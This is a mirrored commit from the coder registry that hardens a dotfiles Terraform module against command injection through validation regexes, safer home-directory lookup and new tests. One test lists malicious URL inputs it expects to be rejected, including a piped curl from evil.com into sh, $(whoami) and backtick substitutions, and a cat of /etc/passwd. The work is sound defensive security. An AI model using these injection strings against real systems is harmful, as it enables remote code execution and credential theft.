mirror of
https://github.com/coder/registry.git
synced 2026-06-02 20:48:14 +00:00
fix: add validation to inputs in dot-files module (#703)
## Description Add's Validation to the dotfiles module in all input's to address security issue pointed out in https://github.com/coder/security/issues/119 <!-- Briefly describe what this PR does and why --> ## Type of Change - [ ] New module - [ ] New template - [X] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information <!-- Delete this section if not applicable --> **Path:** `registry/coder/modules/dotfiles` **New version:** `v1.2.4` **Breaking change:** [ ] Yes [X] No ## Testing & Validation - [Y] Tests pass (`bun test`) - [Y] Code formatted (`bun fmt`) - [ ] Changes tested locally ## Related Issues https://github.com/coder/security/issues/119 <!-- Link related issues or write "None" if not applicable --> --------- Co-authored-by: Jakub Domeracki <jakub@coder.com>
This commit is contained in:
@@ -12,7 +12,8 @@ ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-}
|
||||
ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
|
||||
ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-}
|
||||
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
|
||||
ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH")
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
|
||||
ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false}
|
||||
ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
|
||||
ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-}
|
||||
|
||||
@@ -3,7 +3,8 @@
|
||||
set -euo pipefail
|
||||
|
||||
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
|
||||
ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH")
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
|
||||
|
||||
export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.2.4"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
```
|
||||
@@ -31,7 +31,7 @@ module "dotfiles" {
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.2.4"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
```
|
||||
@@ -42,7 +42,7 @@ module "dotfiles" {
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.2.4"
|
||||
agent_id = coder_agent.example.id
|
||||
user = "root"
|
||||
}
|
||||
@@ -54,14 +54,14 @@ module "dotfiles" {
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.2.4"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
|
||||
module "dotfiles-root" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.2.4"
|
||||
agent_id = coder_agent.example.id
|
||||
user = "root"
|
||||
dotfiles_uri = module.dotfiles.dotfiles_uri
|
||||
@@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.2.4"
|
||||
agent_id = coder_agent.example.id
|
||||
default_dotfiles_uri = "https://github.com/coder/dotfiles"
|
||||
}
|
||||
|
||||
@@ -12,20 +12,47 @@ describe("dotfiles", async () => {
|
||||
agent_id: "foo",
|
||||
});
|
||||
|
||||
it("default output", async () => {
|
||||
it("default output is empty string", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
});
|
||||
expect(state.outputs.dotfiles_uri.value).toBe("");
|
||||
});
|
||||
|
||||
it("set a default dotfiles_uri", async () => {
|
||||
const default_dotfiles_uri = "foo";
|
||||
it("accepts valid git URL formats", async () => {
|
||||
const validUrls = [
|
||||
"https://github.com/coder/dotfiles",
|
||||
"https://github.com/coder/dotfiles.git",
|
||||
"git@github.com:coder/dotfiles.git",
|
||||
"git://github.com/coder/dotfiles.git",
|
||||
"ssh://git@github.com/coder/dotfiles.git",
|
||||
];
|
||||
for (const url of validUrls) {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
default_dotfiles_uri,
|
||||
dotfiles_uri: url,
|
||||
});
|
||||
expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri);
|
||||
expect(state.outputs.dotfiles_uri.value).toBe(url);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects invalid or malicious URLs", async () => {
|
||||
const invalidUrls = [
|
||||
"https://github.com/user/repo; curl http://evil.com | sh",
|
||||
"https://github.com/$(whoami)/repo",
|
||||
"https://github.com/`id`/repo",
|
||||
"https://github.com/user/repo|cat /etc/passwd",
|
||||
"file:///etc/passwd",
|
||||
"not-a-valid-url",
|
||||
];
|
||||
for (const url of invalidUrls) {
|
||||
await expect(
|
||||
runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
dotfiles_uri: url,
|
||||
}),
|
||||
).rejects.toThrow();
|
||||
}
|
||||
});
|
||||
|
||||
it("set custom order for coder_parameter", async () => {
|
||||
|
||||
@@ -36,19 +36,40 @@ variable "default_dotfiles_uri" {
|
||||
type = string
|
||||
description = "The default dotfiles URI if the workspace user does not provide one"
|
||||
default = ""
|
||||
|
||||
validation {
|
||||
condition = (
|
||||
var.default_dotfiles_uri == "" ||
|
||||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.default_dotfiles_uri))
|
||||
)
|
||||
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
variable "dotfiles_uri" {
|
||||
type = string
|
||||
description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)"
|
||||
|
||||
default = null
|
||||
|
||||
validation {
|
||||
condition = (
|
||||
var.dotfiles_uri == null ||
|
||||
var.dotfiles_uri == "" ||
|
||||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.dotfiles_uri))
|
||||
)
|
||||
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
variable "user" {
|
||||
type = string
|
||||
description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)"
|
||||
default = null
|
||||
|
||||
validation {
|
||||
condition = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user))
|
||||
error_message = "Must be a valid username without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
variable "coder_parameter_order" {
|
||||
@@ -73,6 +94,11 @@ data "coder_parameter" "dotfiles_uri" {
|
||||
description = var.description
|
||||
mutable = true
|
||||
icon = "/icon/dotfiles.svg"
|
||||
|
||||
validation {
|
||||
regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$"
|
||||
error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||
}
|
||||
}
|
||||
|
||||
locals {
|
||||
|
||||
@@ -5,6 +5,19 @@ set -euo pipefail
|
||||
DOTFILES_URI="${DOTFILES_URI}"
|
||||
DOTFILES_USER="${DOTFILES_USER}"
|
||||
|
||||
# Validate DOTFILES_URI to prevent command injection (defense in depth)
|
||||
if [ -n "$DOTFILES_URI" ]; then
|
||||
# shellcheck disable=SC2250
|
||||
if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then
|
||||
echo "ERROR: DOTFILES_URI contains invalid characters" >&2
|
||||
exit 1
|
||||
fi
|
||||
if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then
|
||||
echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# shellcheck disable=SC2157
|
||||
if [ -n "$${DOTFILES_URI// }" ]; then
|
||||
if [ -z "$DOTFILES_USER" ]; then
|
||||
@@ -16,12 +29,17 @@ if [ -n "$${DOTFILES_URI// }" ]; then
|
||||
if [ "$DOTFILES_USER" = "$USER" ]; then
|
||||
coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log
|
||||
else
|
||||
# The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280
|
||||
# eval echo ~coder -> "/home/coder"
|
||||
# eval echo ~root -> "/root"
|
||||
if command -v getent > /dev/null 2>&1; then
|
||||
DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6)
|
||||
else
|
||||
DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd)
|
||||
fi
|
||||
if [ -z "$DOTFILES_USER_HOME" ]; then
|
||||
echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
CODER_BIN=$(which coder)
|
||||
DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER")
|
||||
sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log"
|
||||
CODER_BIN=$(command -v coder)
|
||||
sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log"
|
||||
fi
|
||||
fi
|
||||
|
||||
Reference in New Issue
Block a user